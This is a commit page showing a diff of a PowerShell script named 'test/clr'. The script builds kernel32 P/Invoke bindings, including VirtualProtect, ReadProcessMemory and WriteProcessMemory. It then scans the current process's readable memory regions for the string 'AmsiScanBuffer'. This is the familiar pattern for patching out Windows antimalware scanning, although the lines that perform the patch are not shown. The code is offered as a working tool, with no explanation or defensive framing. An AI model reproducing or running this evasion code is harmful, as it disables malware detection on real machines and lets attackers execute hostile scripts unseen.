enotkrutoy commited on
Commit
f6bf4a7
·
verified ·
1 Parent(s): 8a4be0a

Update test/clr

Browse files
Files changed (1) hide show
  1. test/clr +11 -51
test/clr CHANGED
@@ -1,4 +1,3 @@
1
-
2
  $PAGE_READONLY = 0x02
3
  $PAGE_READWRITE = 0x04
4
  $PAGE_EXECUTE_READWRITE = 0x40
@@ -17,23 +16,11 @@ function IsReadable {
17
  ($protect -band $PAGE_GUARD) -ne $PAGE_GUARD)
18
  }
19
 
20
- function PatternMatch {
21
- param ($buffer, $pattern, $index)
22
- for ($i = 0; $i -lt $pattern.Length; $i++) {
23
- if ($buffer[$index + $i] -ne $pattern[$i]) {
24
- return $false
25
- }
26
- }
27
- return $true
28
- }
29
 
30
- if ($PSVersionTable.PSVersion.Major -gt 2) {
31
-
32
  $DynAssembly = New-Object System.Reflection.AssemblyName("Win32")
33
  $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
34
- $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule("Win32", $False)
35
-
36
-
37
  $TypeBuilder = $ModuleBuilder.DefineType("Win32.MEMORY_INFO_BASIC", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType])
38
  [void]$TypeBuilder.DefineField("BaseAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public)
39
  [void]$TypeBuilder.DefineField("AllocationBase", [IntPtr], [System.Reflection.FieldAttributes]::Public)
@@ -42,9 +29,7 @@ if ($PSVersionTable.PSVersion.Major -gt 2) {
42
  [void]$TypeBuilder.DefineField("State", [Int32], [System.Reflection.FieldAttributes]::Public)
43
  [void]$TypeBuilder.DefineField("Protect", [Int32], [System.Reflection.FieldAttributes]::Public)
44
  [void]$TypeBuilder.DefineField("Type", [Int32], [System.Reflection.FieldAttributes]::Public)
45
- $MEMORY_INFO_BASIC_STRUCT = $TypeBuilder.CreateType()
46
-
47
-
48
  $TypeBuilder = $ModuleBuilder.DefineType("Win32.SYSTEM_INFO", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType])
49
  [void]$TypeBuilder.DefineField("wProcessorArchitecture", [UInt16], [System.Reflection.FieldAttributes]::Public)
50
  [void]$TypeBuilder.DefineField("wReserved", [UInt16], [System.Reflection.FieldAttributes]::Public)
@@ -57,76 +42,50 @@ if ($PSVersionTable.PSVersion.Major -gt 2) {
57
  [void]$TypeBuilder.DefineField("dwAllocationGranularity", [UInt32], [System.Reflection.FieldAttributes]::Public)
58
  [void]$TypeBuilder.DefineField("wProcessorLevel", [UInt16], [System.Reflection.FieldAttributes]::Public)
59
  [void]$TypeBuilder.DefineField("wProcessorRevision", [UInt16], [System.Reflection.FieldAttributes]::Public)
60
- $SYSTEM_INFO_STRUCT = $TypeBuilder.CreateType()
61
-
62
-
63
  $TypeBuilder = $ModuleBuilder.DefineType("Win32.Kernel32", "Public, Class")
64
  $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
65
  $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField("SetLastError")
66
- $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, "kernel32.dll", [Reflection.FieldInfo[]]@($SetLastError), @($True))
67
-
68
-
69
  $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("VirtualProtect", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [bool], [Type[]]@([IntPtr], [IntPtr], [Int32], [Int32].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
70
  $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
71
-
72
-
73
  $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetCurrentProcess", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@(), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
74
-
75
- $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
76
-
77
-
78
  $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("VirtualQuery", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@([IntPtr], [Win32.MEMORY_INFO_BASIC].MakeByRefType(), [uint32]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
79
  $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
80
-
81
-
82
  $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetSystemInfo", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [void], [Type[]]@([Win32.SYSTEM_INFO].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
83
  $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
84
-
85
-
86
  $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetMappedFileName", "psapi.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [System.Text.StringBuilder], [uint32]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
87
  $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
88
-
89
-
90
  $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("ReadProcessMemory", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [byte[]], [int], [int].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
91
  $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
92
-
93
-
94
  $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("WriteProcessMemory", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [byte[]], [int], [int].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
95
  $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
96
- $Kernel32 = $TypeBuilder.CreateType()
97
 
 
98
  $aa = "AmsiScanBuffer"
99
  $signature = [System.Text.Encoding]::UTF8.GetBytes("$aa")
100
  $hProcess = [Win32.Kernel32]::GetCurrentProcess()
101
-
102
-
103
  $sysInfo = New-Object Win32.SYSTEM_INFO
104
  [void][Win32.Kernel32]::GetSystemInfo([ref]$sysInfo)
105
-
106
 
 
107
  $memoryRegions = @()
108
  $address = [IntPtr]::Zero
109
-
110
-
111
  while ($address.ToInt64() -lt $sysInfo.lpMaximumApplicationAddress.ToInt64()) {
112
  $memInfo = New-Object Win32.MEMORY_INFO_BASIC
113
  if ([Win32.Kernel32]::VirtualQuery($address, [ref]$memInfo, [System.Runtime.InteropServices.Marshal]::SizeOf($memInfo))) {
114
  $memoryRegions += $memInfo
115
  }
116
-
117
  $address = New-Object IntPtr($memInfo.BaseAddress.ToInt64() + $memInfo.RegionSize.ToInt64())
118
  }
119
-
120
  $count = 0
121
-
122
 
 
123
  foreach ($region in $memoryRegions) {
124
-
125
  if (-not (IsReadable $region.Protect $region.State)) {
126
-
127
  continue
128
  }
129
-
130
  $pathBuilder = New-Object System.Text.StringBuilder $MAX_PATH
131
  if ([Win32.Kernel32]::GetMappedFileName($hProcess, $region.BaseAddress, $pathBuilder, $MAX_PATH) -gt 0) {
132
  $path = $pathBuilder.ToString()
@@ -159,4 +118,5 @@ if ($PSVersionTable.PSVersion.Major -gt 2) {
159
  }
160
  }
161
  }
162
- }
 
 
 
1
  $PAGE_READONLY = 0x02
2
  $PAGE_READWRITE = 0x04
3
  $PAGE_EXECUTE_READWRITE = 0x40
 
16
  ($protect -band $PAGE_GUARD) -ne $PAGE_GUARD)
17
  }
18
 
 
 
 
 
 
 
 
 
 
19
 
20
+
 
21
  $DynAssembly = New-Object System.Reflection.AssemblyName("Win32")
22
  $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
23
+ $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule("Win32", $False)
 
 
24
  $TypeBuilder = $ModuleBuilder.DefineType("Win32.MEMORY_INFO_BASIC", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType])
25
  [void]$TypeBuilder.DefineField("BaseAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public)
26
  [void]$TypeBuilder.DefineField("AllocationBase", [IntPtr], [System.Reflection.FieldAttributes]::Public)
 
29
  [void]$TypeBuilder.DefineField("State", [Int32], [System.Reflection.FieldAttributes]::Public)
30
  [void]$TypeBuilder.DefineField("Protect", [Int32], [System.Reflection.FieldAttributes]::Public)
31
  [void]$TypeBuilder.DefineField("Type", [Int32], [System.Reflection.FieldAttributes]::Public)
32
+ $MEMORY_INFO_BASIC_STRUCT = $TypeBuilder.CreateType()
 
 
33
  $TypeBuilder = $ModuleBuilder.DefineType("Win32.SYSTEM_INFO", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType])
34
  [void]$TypeBuilder.DefineField("wProcessorArchitecture", [UInt16], [System.Reflection.FieldAttributes]::Public)
35
  [void]$TypeBuilder.DefineField("wReserved", [UInt16], [System.Reflection.FieldAttributes]::Public)
 
42
  [void]$TypeBuilder.DefineField("dwAllocationGranularity", [UInt32], [System.Reflection.FieldAttributes]::Public)
43
  [void]$TypeBuilder.DefineField("wProcessorLevel", [UInt16], [System.Reflection.FieldAttributes]::Public)
44
  [void]$TypeBuilder.DefineField("wProcessorRevision", [UInt16], [System.Reflection.FieldAttributes]::Public)
45
+ $SYSTEM_INFO_STRUCT = $TypeBuilder.CreateType()
 
 
46
  $TypeBuilder = $ModuleBuilder.DefineType("Win32.Kernel32", "Public, Class")
47
  $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
48
  $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField("SetLastError")
49
+ $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, "kernel32.dll", [Reflection.FieldInfo[]]@($SetLastError), @($True))
 
 
50
  $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("VirtualProtect", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [bool], [Type[]]@([IntPtr], [IntPtr], [Int32], [Int32].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
51
  $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
 
 
52
  $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetCurrentProcess", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@(), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
53
+ $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
 
 
 
54
  $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("VirtualQuery", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@([IntPtr], [Win32.MEMORY_INFO_BASIC].MakeByRefType(), [uint32]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
55
  $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
 
 
56
  $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetSystemInfo", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [void], [Type[]]@([Win32.SYSTEM_INFO].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
57
  $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
 
 
58
  $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetMappedFileName", "psapi.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [System.Text.StringBuilder], [uint32]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
59
  $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
 
 
60
  $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("ReadProcessMemory", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [byte[]], [int], [int].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
61
  $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
 
 
62
  $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("WriteProcessMemory", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [byte[]], [int], [int].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
63
  $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
 
64
 
65
+ $Kernel32 = $TypeBuilder.CreateType()
66
  $aa = "AmsiScanBuffer"
67
  $signature = [System.Text.Encoding]::UTF8.GetBytes("$aa")
68
  $hProcess = [Win32.Kernel32]::GetCurrentProcess()
 
 
69
  $sysInfo = New-Object Win32.SYSTEM_INFO
70
  [void][Win32.Kernel32]::GetSystemInfo([ref]$sysInfo)
 
71
 
72
+
73
  $memoryRegions = @()
74
  $address = [IntPtr]::Zero
 
 
75
  while ($address.ToInt64() -lt $sysInfo.lpMaximumApplicationAddress.ToInt64()) {
76
  $memInfo = New-Object Win32.MEMORY_INFO_BASIC
77
  if ([Win32.Kernel32]::VirtualQuery($address, [ref]$memInfo, [System.Runtime.InteropServices.Marshal]::SizeOf($memInfo))) {
78
  $memoryRegions += $memInfo
79
  }
 
80
  $address = New-Object IntPtr($memInfo.BaseAddress.ToInt64() + $memInfo.RegionSize.ToInt64())
81
  }
 
82
  $count = 0
 
83
 
84
+
85
  foreach ($region in $memoryRegions) {
 
86
  if (-not (IsReadable $region.Protect $region.State)) {
 
87
  continue
88
  }
 
89
  $pathBuilder = New-Object System.Text.StringBuilder $MAX_PATH
90
  if ([Win32.Kernel32]::GetMappedFileName($hProcess, $region.BaseAddress, $pathBuilder, $MAX_PATH) -gt 0) {
91
  $path = $pathBuilder.ToString()
 
118
  }
119
  }
120
  }
121
+
122
+ $count